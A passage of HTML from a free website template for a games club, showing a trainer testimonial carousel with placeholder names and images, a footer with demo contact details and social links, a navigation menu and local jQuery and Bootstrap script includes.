|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<!-- end header -->
|
||||
<!-- trannir -->
|
||||
<div class="trannir">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Our Club Trannir</h2>
|
||||
<p>n some form, by injected humour, or randomised</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row d_flex">
|
||||
<div class="col-lg-10 offset-lg-1 col-md-12">
|
||||
<div id="testimo" class="carousel slide our_trannir" data-ride="carousel">
|
||||
<ol class="carousel-indicators">
|
||||
<li data-target="#testimo" data-slide-to="0" class="active"></li>
|
||||
<li data-target="#testimo" data-slide-to="1"></li>
|
||||
<li data-target="#testimo" data-slide-to="2"></li>
|
||||
</ol>
|
||||
<div class="carousel-inner">
|
||||
<div class="carousel-item active">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="carousel-item">
|
||||
<div class="container">
|
||||
<div class="carousel-caption posi_in">
|
||||
<div class="trannir_text">
|
||||
<i><img src="images/clint.jpg" alt="#"/></i>
|
||||
<h3>Denial sork</h3>
|
||||
<span>Trannir</span>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a class="carousel-control-prev" href="#testimo" role="button" data-slide="prev">
|
||||
<i class="fa fa-angle-left" aria-hidden="true"></i>
|
||||
<span class="sr-only">Previous</span>
|
||||
</a>
|
||||
<a class="carousel-control-next" href="#testimo" role="button" data-slide="next">
|
||||
<i class="fa fa-angle-right" aria-hidden="true"></i>
|
||||
<span class="sr-only">Next</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end trannir -->
|
||||
<!-- footer -->
|
||||
<footer>
|
||||
<div class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<h3>Follow Us</h3>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
<div class="conta text_align_center">
|
||||
<ul>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
|
||||
</a>
|
||||
</li>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<div class="menu_bottom text_align_center">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="games.html">Games</a></li>
|
||||
<li><a href="tranner.html">Tranner</a></li>
|
||||
<li><a href="contact.html">Contact</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="copyright text_align_center">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- end footer -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
</body>
|
||||
</html>
|
||||